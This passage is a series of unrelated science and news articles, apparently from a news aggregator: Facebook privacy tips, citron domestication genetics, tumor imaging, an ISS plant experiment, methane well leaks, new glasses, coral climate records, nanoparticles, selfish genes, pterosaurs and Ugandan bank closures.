"It's written by the best-paid lawyers in the world." MINIMIZE YOUR FACEBOOK PRESENCE Tim Bajarin, president of consultancy Creative Strategies, says in light of the recent news on what Facebook is doing, he has changed the way he uses the service. While he used to share photos of family, now "it's mostly dogs and cats," he says. Experts advise that if you are worried about what Facebook does with your data, limit your time on the service and minimize posting. Essentially, assume all information you share is public, regardless of any privacy settings. Also, avoid clicking on any ads or posts; that will limit Facebook's access to your data. FIND OUT WHAT FACEBOOK KNOWS Even if you can't stop Facebook altogether from using your data, you can at least take a look at what it has on you. And it is probably a lot. Facebook allows people to download all of their data that the company has collected. Under "Settings," click on "Your Facebook Information" and "Download Your Information." You will get a file with every photo and comment you've posted, all the ads you've clicked on, stuff you've liked and searched for, and everyone you've friendedand unfriendedover the years. EVALUATE YOUR RELATIONSHIP WITH FACEBOOK Ultimately, whether you stay on Facebook depends on how much the service benefits you versus how much it takes from you. Bajarin says connecting with friends and family is still worth the risk of sharing his data. "But I'm becoming more targeted about who I communicate with, and I'm taking more control of what I post and what I don't post," he says. Mogull says users have to determine for themselves whether it is worth it to stick with Facebook. Because of the way Facebook makes moneyusing extensive user data to sell advertisers finely targeted ads"your best interest is not in Facebook's best interest," he says. Explore further Local official sues Facebook over data misuse 2018 The Associated Press. All rights reserved. Dr. Eugenio Butelli with acidless citrons. Credit: Ruby O'Grady Genetic detective work has illuminated the important role of Jewish culture in the widespread adoption of citrus fruit by early Mediterranean societies. The fascinating find came to light in an investigation into a bizarre acidless mutation which makes citrus juice 1000 times less acidic. John Innes Centre researchers used genetic analysis to trace the acidless mutations in citron, the first citrus species to be cultivated in the Mediterranean. "Some people thought that this was a recent mutation that originated in Corsica, or somewhere in the Mediterranean, but we have found that this is not new. It's an ancient mutation that is present in Chinese fingered citrons known as Buddha's Hands and those used in the Sukkot Jewish ritual," explains Dr. Eugenio Butelli of the John Innes Centre and first author of the paper. The acidless mutations have captivated botanists and breeders for centuries and appear in many citrus varieties including citron, sweet lime, limetta, lemon and sweet orange. Acidless citrus fruit have also lost the ability to produce anthocyanin pigments, that give a blush of dark red to leaves, flowers and, sometimes, flesh. The researchers identified a gene, which they called Noemi, as the key factor behind the regulation of fruit acidity. Analysis also revealed that this gene works in partnership with another, named Ruby, to control anthocyanin production. The study identified specific mutations affecting the Noemi gene in several acidless citrus species and hybrids. These acidless fruits are often referred to as sweet or insipid because of the reduction in fruit acidity and are highly prized citrons (Etrog in Hebrew) used in the Jewish harvest festival of Sukkot. One of these mutations matched those found in fingered citron varieties first cultivated in China 3300 years ago. This confirmed that this mutation originated before the arrival of citron into the Mediterranean. Buddha's Hands -- citron study highlights historic path of domestication. Credit: Mathulack Photography Further analysis revealed that the same ancient Noemi allele characteristic of the acidless trait was present in the Yemen citron, an ancient variety traditionally used in the Sukkot tradition since the time of the destruction of the first temple in 587 B.C.E. Another variety traditionally used in the Sukkot ritual, the Greek citron, also bore the same genetic hallmark. The analysis suggests that the authentic Jewish Etrog used ritually was an acidless one, an idea supported by a reference to "sweet citron" in the Jewish legal text, the Talmud, dating from 200 C.E. The study which appears in Current Biology illuminates the path of domestication of citron. It supports the view that the spread of citron in Mediterranean regions was facilitated by its adoption in Jewish culture as an important religious symbol. Some scholars speculate that Jews in exile in Babylonia brought the citron back to Palestine. Why was this sweet, or insipid citrus, with plain white flowers and leaves drained of colour, the chosen fruit? "Citron was first cultivated for its medicinal properties in China and its rind was used as a medicinal product, not as a food" explains Professor Cathie Martin of the John Innes Centre and a co-author on the study. "By the time it reached the Mediterranean in Roman times, citron was a luxury item used for its fragrance to keep linen fresh. The presence of white flowers in the acidless mutation seems important because they are a symbol of purity and we speculate that there was a strong selection for the loss of anthocyanins, which normally add colour to leaves and flowers." Citron is one of four primary species that make up the citrus genus, a complex group of flowering plants with notable nutritional, medicinal and aromatic value. Despite becoming one of the world's most economically important fruit crops, its history of evolution and domestication has remained obscure until recently. The characterisation of Noemi provides researchers with an important genetic marker opening a fascinating landscape for genetic analysis of seeds found amid the burials of the ancient world and fossil remains from even further back in time. The study also gives researchers the information they need to develop fruit of the futureto modulate their level of acidity and to increase their content of health-protecting anthocyanin compounds. "If you could introduce these mutations stably in lemon, for example, you could make lemonade which does not need so much added sugar in it, making it healthier to drink and better for growing teeth." explains Professor Martin. Explore further Citrus: From luxury item to cash crop More information: Noemi controls production of flavonoid pigments and fruit acidity and illustrates the domestication routes of modern citrus varieties, Current Biology. DOI: 10.1016/j.cub.2018.11.040 , www.cell.com/current-biology/f 0960-9822(18)31539-2 Journal information: Current Biology Noemi controls production of flavonoid pigments and fruit acidity and illustrates the domestication routes of modern citrus varieties, Label-free intraoperative nonlinear imaging of the tumor microenvironment provides real-time visualization of structural and molecular features, including extracellular vesicles that can be potential biomarkers of cancer aggressiveness. Credit: Biophotonics Imaging Laboratory, Beckman Institute for Advanced Science and Technology, University of Illinois at Urbana-Champaign A team of University of Illinois at Urbana-Champaign researchers led by Bioengineering Professor Stephen Boppart has successfully visualized the tumor microenvironment of human breast tissue shortly after it was surgically removed from a patient in the operating room. The researchers achieved this using a new portable optical imaging system developed in Boppart's lab. This work, which was reported in a paper published online December 19 in Science Advances, marks a major step toward providing cancer researchers with a new tool for tracking tumor progression and physicians new technology for tissue pathology and diagnostics. Typically, the process for diagnosing cancer takes several days. A surgeon first removes a tissue sample that is then processed with chemical dyes; later, the sample is sent to a pathologist for examination and subsequent diagnosis. "We believe that capturing the dynamic cellular and molecular features in freshly removed or biopsied tissue specimens contains valuable diagnostic and prognostic information that is currently lost when specimens are placed in a fixative and essentially killed quickly in order to preserve structure," said Boppart, who is also a faculty member at the Beckman Institute for Advanced Science and Technology at Illinois and a professor of electrical & computer engineering (ECE) and the Carle Illinois College of Medicine. "Our imaging platform and methodology allow us to extract this new information in real-time, at the point-of-procedure." Boppart's portable optical imaging system uses precise light pulses to simultaneously image tissue in four modalities, enabling his team to study concurrent processes within cells and tissue that make up the tumor microenvironment. For example, collagen fibers appear in green; elastin fibers and flavin adenine dinucleotide-containing cell cytoplasm appear in yellow; cell membranes, lipid boundaries, and extracellular vesicles (EVs) appear in magenta; and nicotinamide adenine dinucleotide in the cells and lipids appears in cyan. The team demonstrated the viability of their imaging system in the operating room at Carle Foundation Hospital during breast cancer surgeries. Within 30 minutes of the diseased tissue being extracted, the researchers were able to identify specific tissue features, including molecular signatures associated with metabolic activity inside individual cells that make up the tumor microenivronment. The researchers were also interested in measuring tumor-related extracellular vesicles (EVs), which are known to promote the spread of cancer. "EVs do play an essential role in cancer progression," said ECE graduate student Yi "Edwin" Sun, the lead author of the research paper. "Quantifying EV densities may be developed as a potential biomarker for future cancer diagnoses." As part of their studies, they also collected and imaged healthy breast tissue that surgeons had removed from cancer-free patients during breast reduction procedures. In a comparison of the two types of tissue, they found a clear difference in EV density between the cancerous and healthy tissue. For example, the cancerous tissue exhibited increased EV densities and had shorter tumor-to-margin distance. "What we observed about the extracellular vesicles is significant but it could only be accurately determined with our new system," said Sun, noting how other portable optical imaging systems deployed in the operating room all alter the tissue samples either with fluorescent dyes or toxic ultraviolet light. "Our imaging technique works well with current cancer treatment routines and is free of any form of perturbation." According to Boppart, the team's future plans include using the imaging system on tissue specimens obtained from needle-biopsy procedures that are routinely performed in outpatient settings. They will also continue using the system on samples from the operating room. The imaging system is described in the paper, "Intraoperative visualization of the tumor microenvironment and quantification of extracellular vesicles by label-free non-linear imaging," which was published online December 19, 2018. In addition to Sun and Boppart, other members of the research team include Bioengineering graduate students Sixian You and Joanne Li; Beckman researchers Haohua Tu, Eric Chaney, Marina Marjanovic, and Jianfeng Wang; Beckman staff Ronit Barkalifa and Darold Spillman; and Carle physicians Anna Higham, Natasha Luckey, Kimberly Cradock, and Z. George Liu. Many dedicated research and support staff contributed to this research, in addition to those listed as authors on the paper, said Boppart. "Research like this is only possible because of the strong collaborative ties at the Beckman Institute, Carle, and across the Illinois campus." More information: Yi Sun et al. Intraoperative visualization of the tumor microenvironment and quantification of extracellular vesicles by label-free nonlinear imaging, Science Advances (2018). Journal information: Science Advances Yi Sun et al. Intraoperative visualization of the tumor microenvironment and quantification of extracellular vesicles by label-free nonlinear imaging,(2018). DOI: 10.1126/sciadv.aau5603 Seed storage and plant germination beds. Credit: Mathew Crawley/University of Utah College of Science If humanity is going to push the boundaries of space exploration, we're going to need plants to come along for the ride. Not just spinach or potatoes, thoughplants can do so much more than just feed us. A science experiment aiming to demonstrate plants' capabilities in space has arrived at the International Space Station and is ready to begin relaying data. The experiment, according to University of Utah chemistry professor and project chief scientist Ming Hammond, will assess in real-time whether plants engineered to bio-manufacture specific proteins, in a process called synthetic biology, can do so in space. The experiment began on Dec. 18 and will run through Dec. 28. "There's a lot of promise, potential and hope that we can use the tools developed in synthetic biology to solve problems," Hammond says, "not just that you would find in space, but where you have extreme limitation of resources." Hammond's involvement in this experiment, called Hydra-1, began at the University of California, Berkeley, before her recent move to the U. She and Berkeley graduate student Rebekah Kitto joined with a "very multidisciplinary team", Hammond says, of scientists and engineers looking to perform synthetic biology experiments in space. Synthetic biology is a field that engineers biological systems. In this case, the team is looking at plants as potential bio-factories. Every organism naturally produces countless proteins as part of its biological function, so why not engineer a plant to produce, say, a needed medication or a polymer that could be useful in future long-term space exploration missions? "The benefit is that you can take seeds with you," Hammond says. "They're very lightweight. They grow and gain biomass using the CO 2 that we breathe out. And if those plants can produce proteins on demandwe know that plants are able to produce anti-viral and anti-cancer antibodies on a large scale." Synthetic biology is already established on Earth. But translating that same technology to spaceflight requires a different set of considerations. Hammond and her team encountered many of these constraints when adapting their experiment to operate within a small cube-shaped enclosure, and without tending from the space station crew. The enclosure is the same size (10 cm on a side) as the small low-cost CubeSats that are rising in popularity. LED grow lights and camera unit. Credit: Mathew Crawley/University of Utah College of Science For an experiment on earth, researchers could test samples of plants as they grew to see if they were producing the desired protein. But that's not an option in spacein the early stages of planning, the team didn't even know if they'd get the experiment back at the end. So the team decided to engineer plants to change color as they produced the target protein, and monitor the progress with a camera. It's an elegant and innovative solution, based on a previously published method, but adapted for the constraints of a cube in space. "We had to take something that worked beautifully in the most carefully controlled and nurturing conditions," Hammond says, "and get it to work under very stringent, harsh and challenging conditions without human intervention in the plant cube." The plant cube was designed with the forward vision of preparing for plant growth studies on the Moon, and the Hydra-1 mission is a technology development step towards that goal. The team of collaborators spans two continents, with other partners at NASA Ames Research Center, the International Space University, and the University of Strasbourg. But as one of the experiment's lead scientists, Hammond will be monitoring data from the experiment, and conducting the matching Earthbound control experiment, here at the University of Utah. The control experiment will grow the same plants, engineered to produce the same protein, but lag behind the experiment on the space station by one day, so that researchers can match both experiments' temperature conditions. The entire experiment will take 10 days. "By day four or five we should know if the experiment worked," Hammond says. "There's so many variables that we can't know the answers to." In January, the cube will return to Earth and will be further analyzed in Strasbourg. "I plan for this experience to prepare us for doing more chemistry experiments in space!" Hammond says. On the engineering side, the Hydra-1 experiment will help develop a framework, through a commercial company called ICE-Cubes, to commercialize similar cube-based space science experiments in the future. It takes a lot of time and effort to put equipment in space, and Hammond appreciates the many hours of work that the team has put in over the past two years. "We are a small but dedicated group of volunteers," she says. "In the past two weeks, people worked nonstop to fix last-minute things that came up before launch. I'm just really proud of the effort that everyone has undertaken to get us to this point." Hammond and her family traveled to the NASA Kennedy Space Center to watch the Dec. 5 launch of her experiment, which was nestled within a SpaceX Falcon 9 rocket on a resupply mission to the International Space Station. "I think most of us feel the allure and excitement that is stirred by the wonder of looking up and thinking about humans living and working at the space station," she says. "It was an amazing opportunity to share the launch with my 6-year-old son and other family members. Of all the things I've done in science this, for them, is the one that probably inspires the most interest and awe." Explore further Zero gravity plant growth experiments delivered to space station A new study to published in Environmental Geosciences is the first to offer a profile of which oil and natural wells are most likely to be leaking methane. Research published in June in Science estimated that natural gas wells are leaking 13 million metric tons of methane each year, 60 percent higher that EPA estimates. Credit: Gerry Dincher Each year brings new research showing that oil and natural gas wells leak significant amounts of the potent greenhouse gas methane. A new study just published in the journal Environmental Geosciences is the first to offer a profile of which wells are the most likely culprits. The research, conducted by George Pinder of the University of Vermont and James Montague, a former doctoral student at the university, is based on a study of 38,391 natural gas and oil wells in Alberta, Canada. Companies in that province are required to test wells at the time they begin operating, to determine if they have failed and are leaking methane, and to keep careful records of each well's construction characteristics. The study used a machine learning algorithm to correlate wells that leaked and those that didn't with a set of 16 characteristics. The analysis yielded a cluster of traits that was predictive of whether a well would fail and leak, highlighted by three: wells that deviated from a vertical drill line; older wells, drilled before modern drilling practices were put in place; and wells with greater circumferences, whose larger casings required larger volumes of cement that increased the likelihood of voids. For a subset of 4,024 wells for which the algorithm had access to more complete information, including the fluid properties of the oil or natural gas being mined, the researchers were able to identify leaking wells with 87 percent accuracy. For a larger sample of 28,534 wells, where the fluid property was not known and taken into account, 62 percent of leaking wells were identified accurately. "The big picture," Pinder said of the study's findings, "is that we can now have tool that could help us much more efficiently identify leaking wells. Given that methane is such a significant contributor to global warming, this is powerful information that should be put to use." "Provincial and state regulatory agencies never have enough inspectors or financial resources to locate, let alone repair, leaking wells," said A. R. Ingraffea, the Dwight C. Baum Professor of Engineering Emeritus at Cornell and an expert in oil and natural gas well design and construction, who was not involved in the study. "The methodology created by this research will be invaluable to those agencies because they can now focus inspections on wells most likely to be leaking now or to leak in the future." The findings also shed light on how new wells should be designed and constructed to minimize the chance that they will leak, Pinder said. About 12.5 percent of the wells in the Alberta database were leaking at the time they were to become operational. More research is needed to look at methane leaks over time as wells age, said Montague, the study's lead author. "The failure rate is likely to underestimate the number of wells that will eventually fail and leak, given the clear possibility that they will degrade with age," he said. Research published in June in Science estimated that natural gas wells are leaking 13 million metric tons of methane each year, 60 percent higher that EPA estimates, offsetting much of the climate benefits of burning natural gas instead of coal. Methane is a highly potent greenhouse gas, with more than 90 times the climate warming impact of carbon dioxide over the first 20 years after it is released. Under the Trump administration, the Environmental Protection Agency has proposed reducing the monitoring of oil and natural gas wells for methane leaks and has created a variety of exemptions for regulation. Explore further Ground and stream water clues reveal shale drilling impacts Computational model of porous ZIF glass. Credit: Yongjian Yang/Penn State ZIF glasses, a new family of glass, could combine the transparency of silicate glass with the nonbrittle quality of metallic glass, according to researchers at Penn State and Cambridge University in the U.K. "We are sure of the transparency," said John Mauro, professor of materials science and engineering at Penn State. "We'll have to wait until larger samples can be made to know if it has the amazing ductility of metallic glass, but it looks promising." The newest class of glass-forming materials, zeolitic imidazolate frameworks (ZIF), has a structure in which metal ions are linked by organic ligands. When heated within a limited range of high temperatures, some ZIF materials will melt and reform into a glassy structure in which the atoms have a disordered structure. Beyond the potential of a transparent and far more bendable glass, some ZIFs contain large numbers of functional pores that can be used for gas storagemetal-organic frameworks have been proposed as cages for hydrogen storage for fuel cell vehicles, catalysis, gas separation or even drug delivery. "ZIFs are so new that people are just discovering which chemistries form glasses," Mauro said. "The goal of our group is to accelerate the design of these new glasses through modeling." In two recent journal articles, Mauro and colleagues used different modeling methods to deepen understanding and predict the properties of ZIF glasses. The first modeling method, ReaxFF, was developed by Adri van Duin, professor of mechanical engineering at Penn State, who is co-author of both papers. ReaxFF is a computationally fast and economical method for simulating the melting and reforming of candidate materials. "It is difficult to simulate these systems because the models are usually developed for either organic systems or inorganic systems, but not both," said Yongjian Yang, Mauro's postdoctoral scholar and lead author on both papers. "Plus, unlike ReaxFF, other models don't allow for the bond breaking and reformation that take place in glass forming." Yang added that using ReaxFF cuts the time required to perform simulations to a few hours rather than the several days it would have taken using quantum mechanics methods. In the most recent paper, published in the Journal of Physical Chemistry Letters, the researchers used another modeling method originally developed for another class of glasses called chalcogenide glasses. "James Phillips proposed that we can think about glasses in the same way a civil engineer would think about designing a truss structure like in a bridge or the Eiffel Tower," Mauro said. Phillips, who was at Bell Labs at the time and is now at Rutgers University, proposed a method to optimize glass based on the degrees of freedom of the atoms compared to the number of rigid bonds to other atoms. When the bonds equal the degrees of freedomthe ability to move up, down or sidewaysthe system is usually in the optimal state to form a stable glass. Mauro, who was at Corning Incorporated, and Prabhat Gupta, of Ohio State, extended the theory to develop what is called Temperature Dependent Constraint Theory, which accounts for bond breaking at high temperature, and also extended the theory to make quantitative predictions of glass properties. "Because our theory is based on the counting of bonds and atoms, it's something that can be solved with pencil and paper," Mauro said. "We can make accurate predictions of such properties as glass hardness, elastic modulus, viscosity and the glass transition temperature." Although their theory, formulated in 2008, has been applied successfully to many oxide glass systems and used in the formulation of industrial glass compositions, this paper is the first time it has been applied to the ZIF metal-organic glass system. Thomas Bennett at Cambridge University is leading the experimental portion of the work, including the synthesis of ZIF samples, which are currently only millimeters in size. "There are a lot of challenges that still need to be addressed," Mauro said. "We hope to use these modeling approaches to predict glasses we can use to ramp up to industrial scale and then commercialize. Wouldn't it be great to have a glass that is both optically transparent and mechanically ductile?" Explore further Metal-organic compounds produces new class of glass Professor Rob Dunbar and researcher Dave Mucciarone are pictured working on the massive Porites coral colony from American Samoa. Credit: Brad Linsley In December 2018, forecasters announced a high likelihood that this winter will bring El Nino, which occurs when unusually warm Pacific waters create changes in weather patterns around the world. The phenomenon causes predictable fluctuations in temperature, winds and rainfall, and can be an important indicator for crop yields. But what do we really know about El Nino beyond contemporary times? How much of its variability is natural vs. influenced by humans? Studying weather patterns over time is the first step to understanding current events and how they may respond in a warming world. In order to better attribute and anticipate changes in the climate system, Stanford researchers have been looking past El Nino's recent history, using data captured in coral reefs to reconstruct past events. In one such study, scientists from Stanford's School of Earth, Energy & Environmental Sciences (Stanford Earth) analyzed stable isotope data from a 492-year-long core taken from a single Porites coral the longest such coral core ever collected. The core, recovered near Ta'u in American Samoa in the South Pacific, provides information about changes in the geographic extent and intensity of El Nino and La Nina events over time. Stanford Earth spoke with lead author Neil Tangri, a graduate student with Earth system science professor Rob Dunbar, about the implications of what they learned by peering back through history in that core. What are the elements of El Nino and La Nina and how do they impact us? El Nino is a phenomenon that happens about every two to eight years when the waters of the Western Pacific Warm Pool move east across the equatorial Pacific, creating abnormally warm sea surface temperature anomalies in the eastern tropical Pacific. As they move, they bring with them a region of rising warm air accompanied by heavy rain. This has knock-on effects on global atmospheric circulation that then cause drought in Australia and Indonesia, wet weather along the west coast of the Americas, reduced Atlantic hurricane formation and more. La Nina sees the warm pool and associated phenomena move farther west and it tends to be less dramatic than El Nino. Not all El Nino events are the same, however. The spatial pattern of El Nino is important because of how it impacts different regions around the world. For example, Indian monsoon failure is associated with Central Pacific El Nino events, while wet winters in California are driven more by Eastern Pacific El Nino. What was surprising about your findings? The Ta'u coral revealed a few surprises. One is that the "footprint" of El Nino events has shrunk over the 20th century. In other words, the triangle-shaped wedge of the Pacific that gets warmer when an El Nino happens has shrunk toward the equator and the coast of South America. It's hard to know if this shrinkage in areal extent is related to intensity or frequency. Going back further in time, the Ta'u coral recorded big swings in El Nino activity, but it's hard to tell if that's because of large changes in El Nino intensity or because the footprint has been shrinking and growing. This is basic science understanding the range of natural and forced variability of the system and it improves our understanding of the global climate system. Why is it important to understand these from a historical perspective? Because El Nino and to a lesser extent La Nina is associated with a lot of extreme weather phenomena, it's important to know how they will change under global warming. Will El Nino become more or less frequent, more or less intense or change in its spatial pattern? There are good physical reasons to support any of those outcomes and we don't know which way the balance of forces will tip. By looking into the recent past, we can better understand the range of natural variability of El Nino and get a sense of how it has responded to small changes in the climate system, such as changing levels of CO2 in the atmosphere. Corals are natural recorders of environmental variables, such as sea surface temperature, that are affected by El Nino. Long records allow us to better understand how El Nino has changed in the past and how it is changing in the present. How can coral tell us about past weather patterns? As corals grow, they lay down a calcium carbonate exoskeleton in annual layers. By counting down layers from the present, we can get month-level precision of the date the exoskeleton was deposited. We then analyze the chemical properties of this exoskeleton to reconstruct sea surface temperature and salinity at the time the coral grew. In most of the tropics, instrumental temperature data only go back to World War II at the earliest, and instrumental salinity data go back to the 1980s. So a multi-century, month-resolution record of those variables tells us a lot about how the ocean has behaved. Explore further Another El Nino on the horizon? More information: N. Tangri et al. ENSO's Shrinking TwentiethCentury Footprint Revealed in a HalfMillennium Coral Core From the South Pacific Convergence Zone, Paleoceanography and Paleoclimatology (2018). N. Tangri et al. ENSO's Shrinking TwentiethCentury Footprint Revealed in a HalfMillennium Coral Core From the South Pacific Convergence Zone,(2018). DOI: 10.1029/2017PA003310 Nanoparticles. Credit: MIPT Scientists from Russia and China discovered a host of new and unexpected nanoparticles and found a way to control their composition and properties the findings break fresh ground in the use of nanoparticles. The results of their study were published in Physical Chemistry Chemical Physics. Micro objects such as nanoparticles can differ from macro objects (crystals, glasses) in terms of chemical composition and properties. The two pillars that nanotechnology rests upon are the wide diversity of properties exhibited by nanoparticles of the same material but of varying sizes, and the ability to control their properties. However, both experimental and theoretical research into the structure and composition of nanoparticles poses major difficulties. Using the USPEX evolutionary algorithm developed by Artem R. Oganov, professor at Skoltech and MIPT, scientists from China and Russia studied a wide range of nanoparticle compositions, and in particular, examined two classes of nanoparticles essential for catalysis: iron-oxygen and cerium-oxygen. They discovered that the so-called "magic nanoparticles" that display enhanced stability can have unexpected chemical compositions, for example, Fe 6 O 4 , Fe 2 O 6 , Fe 4 O 14 , Ce 5 O 6 , and Ce 3 O 12 . Oxygen-rich nanoparticles, such as Fe 4 O 14 , stable at normal conditions, may explain carcinogenicity of oxide nanoparticles. Scientists have quantitatively explored how the compositions vary by changing the temperature or partial pressure of oxygen. "Stable nanoclusters can possess strange and unexpected chemical compositions (for example, Si 4 O 18 or Ce 3 O 12 ) at normal conditions, while for crystals this is usually found at extreme conditions, such as high pressures," says Xiaohu Yu, the first author of this work, Associate Professor of Shaanxi University of Technology and former member of the Oganov lab in MIPT. "The fact that nanoparticles have virtually the same ridges, islands of stability and seas of instability as atomic nuclei came as a surprise in this study. The atomic nucleus and the nanoparticle alike can be described as a cluster of two types of particles, for example, iron and oxygen in our case, or protons and neutrons in the case of atomic nuclei. If you draw a map and plot the numbers of each kind of atoms in the cluster along its axes, you will see that the majority of stable clusters form narrow ridges of stability. You will also discover islands of stability that are quite curious from the chemical point of view. It is quite conceivable that stable nanoparticles serve as elementary building blocks in crystal growth the topic I've been thrilled about since my school years. As for the islands of stability, the great contributors to their study were our renowned academicians Flerov and Oganesyan that I dreamt of working with when I was a kid," said Oganov. Explore further Researchers find possible reason for the carcinogenicity of silica dust More information: Xiaohu Yu et al. The stability and unexpected chemistry of oxide clusters, Physical Chemistry Chemical Physics (2018). Journal information: Physical Chemistry Chemical Physics Xiaohu Yu et al. The stability and unexpected chemistry of oxide clusters,(2018). DOI: 10.1039/C8CP03519A Credit: Troy Fedderson / Scott Schrage | University Communication A selfish streak in genes known to drive species apart might occasionally bring them closer together, says a new study from the University of Nebraska-Lincoln and University of Rochester. Though the vast majority of genes are essential to organisms' survival and reproduction, some selfishly turn against their counterparts to improve their own odds of getting passed down through generations. The phenomenon also seems to promote the emergence and divergence of species by ensuring that interbreeding will sterilize one of the sexes usually the male offspring. But new evidence from two fruit fly species one global, the other confined to a tiny island in the Indian Ocean suggests that selfish genes may sometimes reverse this reproductive repercussion. Some organisms carry two variations, or alleles, of the same gene. When cells divide to form sperm or eggs during meiosis, those two alleles randomly disperse and end up in roughly equal proportions of offspring. Yet selfish alleles can cheat this law to infiltrate more than 50 percent a hereditary gambit known as meiotic drive. That's good for the alleles but bad for the species. Selfish alleles often reside on the X chromosome, one of two DNA bundles that determine an organism's sex. Because male cells typically have an X and Y chromosome, their sperm contains one or the other. To gain an advantage, selfish X-linked alleles kill sperm carrying their counterparts on the Y chromosome, which codes for males. That means selfish alleles can dangerously skew a species' male-female ratio. Fortunately for species, Y chromosomes can develop a resistance to these attacks. The X-linked alleles then overcome this resistance, which triggers another counter from the sperm, leading to an open-ended genetic arms race. For reasons that remain unclear, this arms race also seems to disrupt sperm production when two species interbreed. Nebraska's Colin Meiklejohn and colleagues did identity multiple regions of the X chromosome that cause sterility in the fruit fly hybrids, consistent with the conventional view of meiotic drive and species formation. So when the researchers transferred a certain selfish allele-bearing chunk of the X chromosome from one fruit fly species to the other, they expected that it like multiple others would turn the male offspring infertile. Instead, those males retained the ability to reproduce. That wasn't all: After comparing the genetic makeup of both species, the team found that the two actually share that same selfish allele on their X chromosomes. "What this suggests is that, sometime in the past, there was a hybridization event," said Meiklejohn, assistant professor of biological sciences at Nebraska. "And (the gene) jumped in, like, yesterday, in terms of evolutionary time. It was super-recent. So that was a surprise. We didn't know that this thing had moved between species." By reducing the differences between the two species' X chromosomes, this proliferation of the selfish allele may have aided rather than impeded the ability to interbreed, Meiklejohn said. "So in this sense, the (allele) instead of causing sterility, instead of promoting or reinforcing speciation it may have undone that," he said. "It may have actually erased any hybrid sterility factors that were there. This one was basically the opposite of a sterility factor." The finding also suggests that interbreeding opportunities, or lack thereof, could ultimately define the role that selfish alleles adopt, Meiklejohn said. When those opportunities arise, selfish alleles may begin to erode the genetic barriers that separate species. In this case, the globe-trotting Drosophila simulans species likely reached the Madagascar-adjacent island of Mauritius and bred with Drosophila mauritiana, spreading this X-chromosome region throughout the island species. But without that hybridization event, the selfish allele might have instead fortified the species barrier. "If these two species were completely on opposite sides of the world and never saw each other," he said, "this couldn't have happened." Better grasping these circumstantial side effects of selfish genes could help biologists better trace the evolutionary histories of species, Meiklejohn said. Eventually, that understanding might even inform ongoing efforts to control pests by quickly propagating certain genes through an entire population. "You can imagine popping into a mosquito a (selfish) gene that makes those mosquitoes unable to carry malaria or unable to transmit dengue fever," he said. "A big challenge with this that people are just starting to think about and observe is the idea that populations could be resistant. It could work great in the lab, but if it confers any kind of detriment to the insect that carries it, you're going to very quickly have resistance pop up in populations. "That sounds a lot like (meiotic) drivers and resistant Y chromosomes. And so, in general, studying the dynamics of selfish genes could potentially help with designing or making gene-drive systems useful." Explore further Unravelling the genetics of fungal fratricide More information: Colin D Meiklejohn et al. Gene flow mediates the role of sex chromosome meiotic drive during complex speciation, eLife (2018). Journal information: eLife Colin D Meiklejohn et al. Gene flow mediates the role of sex chromosome meiotic drive during complex speciation,(2018). DOI: 10.7554/eLife.35468 Well armed Klobiodon: Flying reptiles, including the newly discovered Klobiodon rochei, have been put together from fragments found in fossil-rich Stonesfield, in Oxfordshire. Credit: Mark Witton Spectacular flying reptiles armed with long teeth and claws which once dominated the skies have been rediscovered, thanks to a palaeontology student's PhD research. Dr Michael O'Sullivan, at the University of Portsmouth, has uncovered evidence of well armed and substantial flying reptiles from historically important, but overlooked, British Jurassic fossils. He's also found a new species of pterosaur with a wingspan of two metres as large as a modern mute swan, and a giant in its time. Some 200 fossils of flying reptiles pterosaurs have been collected over the last two centuries from the Stonesfield Slate, but their significance has been long neglected by palaeontologists, probably because they are mere fragments. Closer inspection has revealed evidence of multiple pterosaur lineages in the UK's Jurassic past, including some unexpectedly large and formidably armed species. The research is published in Acta Palaeontologica Polonica where it is highlighted as editor's choice. Dr O'Sullivan, in the University's School of Earth and Environmental Sciences, said: "It's large fangs would have meshed together to form a toothy cage, from which little could escape once Klobiodon had gotten a hold of it. Misnamed: A fragment of the newly discovered Klobiodon rochei had been misnamed in the 1800s. Credit: University of Portsmouth "The excellent marine reptiles and ammonites of the UK's Jurassic heritage are widely known, but we celebrate our Jurassic flying reptiles far less. "The Stonesfield pterosaurs are rarely pretty or spectacular, but they capture a time in flying reptile evolution which is poorly represented globally. They have an important role to play in not only understanding the UK's natural history, but help us understand the bigger global picture as well." He has named the new species Klobiodon rochei. The generic name means 'cage tooth', in reference to its huge, fang-like teeth up to 26mm long at a time when few pterosaurs had any teeth and the species name honours comic book artist Nick Roche in recognition of the role popular media has in how extinct animals are portrayed. Only the lower jaw of Klobiodon is known, but it has a unique dental configuration that allows it to be distinguished from other pterosaurs. It was likely a gull or tern-like creature a coastal flier that caught fish and squid using its enormous teeth, swallowing them whole. Much of Dr O'Sullivan's research has involved untangling the messy science associated with these neglected specimens. First dinosaur ever found, the predatory Megalosaurus came from same location, in Oxfordshire. Credit: Mark Witton He said: "Klobiodon has been known to us for centuries, archived in a museum drawer and seen by dozens or hundreds of scientists, but it's significance has been overlooked because it's been confused with another species since the 1800s." Klobiodon and the other Stonesfield pterosaurs lived alongside one of the most famous and important dinosaurs in the world, the predatory Megalosaurus, the first dinosaur ever named. But as global sea levels were higher, and the world was much warmer, their Jurassic Britain was a series of large tropical islands. Dr O'Sullivan was examining the Stonesfield pterosaur collections held in museums across the UK for his PhD studies when he found evidence of three distinct types of pterosaur, some of which are the oldest of their kind, as well as evidence of a new pterosaur species. Stonesfield Slate, where the new pterosaur fossils were found, is a rich source of Jurassic fossils about 10 miles northwest of Oxford. It is where, in 1824, Britain's first discovered dinosaur, the Megalosaurus, was found. The quantity and quality of such fossils from the area might be why these fragments have until now been overlooked. Explore further Evidence of a fearsome shark taking down a pterosaur in mid-flight More information: Michael O'Sullivan et al. Pterosauria of the Great Oolite Group (Middle Jurassic, Bathonian) of Oxfordshire and Gloucestershire, England., Acta Palaeontologica Polonica (2018). Journal information: Acta Palaeontologica Polonica Michael O'Sullivan et al. Pterosauria of the Great Oolite Group (Middle Jurassic, Bathonian) of Oxfordshire and Gloucestershire, England.,(2018). DOI: 10.4202/app.00490.2018 By Moses Kyeyune. The Governor, Bank of Uganda Prof Emmanuel Mutebile has maintained his earlier stand on the closure of seven banks, saying that he was right. The governor has made his submission at the exit meeting with Parliaments Committee of Commissions, Statutory Authorities and State Enterprises to day. Mutebile says that for all the banks he has closed it was necessary as failure to intervene would have resulted into a financial crisis that would further hurt the sector. The governor however says that the probe by the House Committee has been a learning process for the central bank, promising that action will be taken on key areas. The Committee chairperson Abdul Katuntu has appreciated the governor and his team for committing time during the one month interface. Related Stories.. Governor BOU Mutebile i will never dream to re-open closed banks Credit: CC0 Public Domain Spinifex grass could be used to create thinner, stronger latex for gloves and condoms, as well as more durable seals and tyres, an Australian scientist says. Advance Queensland research fellow Dr. 